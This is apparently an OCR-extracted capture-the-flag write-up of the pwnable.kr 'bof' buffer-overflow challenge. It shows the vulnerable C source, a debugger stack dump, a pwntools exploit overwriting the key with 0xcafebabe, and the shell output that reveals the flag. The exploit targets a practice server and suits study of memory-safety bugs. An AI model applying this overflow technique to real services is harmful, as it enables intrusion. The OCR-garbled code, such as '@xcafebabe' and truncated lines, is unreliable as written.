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Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable kr/bin/bof
Download : http://pwnable kr/bin/bof.c

Running at : nc pwnable.kr 9000

pwned (11274) times. early 30 pwners are :[ cd8o

Flag?: auth
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root@mypwn:/ctf/work/pwnable.kr# wget http://pwnable.kr/bin/bof.c
--2020-01-01 08:40:45-- http://pwnable.kr/bin/bof.c

Resolving pwnable.kr (pwnable.kr)... 128.61.240.205

Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK

Length: 308 [text/x-csrc]

Saving to: ‘bof.c’

bof.c 100%[ ==============) ] 308 --.-KB/s

2020-01-01 08:40:45 (8.07 MB/s) - ‘bof.c’ saved [308/308]

root@mypwn:/ctf/work/pwnable.kr# wget http://pwnable.kr/bin/bof
--2020-01-01 08:40:48-- http://pwnable.kr/bin/bof

Resolving pwnable.kr (pwnable.kr)... 128.61.240.205

Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK

Length: 7348 (7.2K)

Saving to: ‘bof’

bof 100%[ ======>] 7.18K --.-KB/s
2020-01-01 08:40:49 (148 MB/s) - ‘bof’ saved [7348/7348]

root@mypwn:/ctf/work/pwnable.kr# nc pwnable.kr 9000
aa

overflow me :

Nah. .

root@mypwn:/ctf/work/pwnable.kr#

HEEECESNAE

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == @xcafebabe){

system("/bin/sh");

}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(@xdeadbeef);
return 0;
}
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[ STACK ]

00:0000| esp Oxffd75e20 — Oxffd75e3c <« Ox41414141 ('AAAA')
oxffd75e24 «— 0x0

01:0004 |
L
03:000cC |
04:0010 |
05:0014 |
06:0018 |

Oxffd75e2c «— @xc4e7c600
oxffd75e30 «— 9 /* '\t' */
oxffd75e34 — Oxffd77fd9 «— './bof'

Oxffd75e38 — Oxf75444a9 (__new_exitfn+9) «— add ebx, ©x1a7b57
07:001c| eax Oxffd75e3c «— Ox41414141 ('AAAA')

» £ @ 565b6654 func+40
f 1 565b669f main+21

f 2 f752ce81 _ libc_start_main+241

[ BACKTRACE ]

pwndbg> Xx Ox
oxffd75e70:
pwndbg> x/10
oxffd75e20:
oxffd75e30:
oxffd75e40:
oxffd75e50:
oxffd75e60:
oxffd75e70:

ffd75e68+8
Oxdeadbeef
ox $sp

oxffd75e3c
0x00000009
0x41414141
0x41414141
0x41414141
Oxdeadbeef

0x00000000
oxffd77fd9
0x41414141
0x41414141
oxf7544500
0x00000000

0x00000000
0xf7544439
0x41414141
0x41414141
oxffd75e88
0x565b66b9

Oxc4e7c600
0x41414141
0x41414141
0x41414141
Ox565b669f
0x00000000
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#coding:utf8
#!/usr/bin/e

from pwn imp

nv python

ort *

context.log level = 'debug'

process_name

= './bof"

# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote( 'pwnable.kr', 9000)

# elf = ELF(process_name)

p.sendline('A'*(0x34) + p32(@xcafebabe))

p.interactiv
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root@mypwn:/ctf/work/pwnable.kr# python bof.py

[+] Opening connection to pwnable.kr on port 9000: Done

[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA |
*
00000030 41 41 41 41 be ba fe ca 0a Y.Y.Y:Y e
00000039

[*] Switching to interactive mode

$ cat flag

[DEBUG] Sent 0x9 bytes:
‘cat flag\n'

[DEBUG] Received 0x20 bytes:
‘daddy, I just pwned a buFFer :)\n'

daddy, I just pwned a buFFer :)

$
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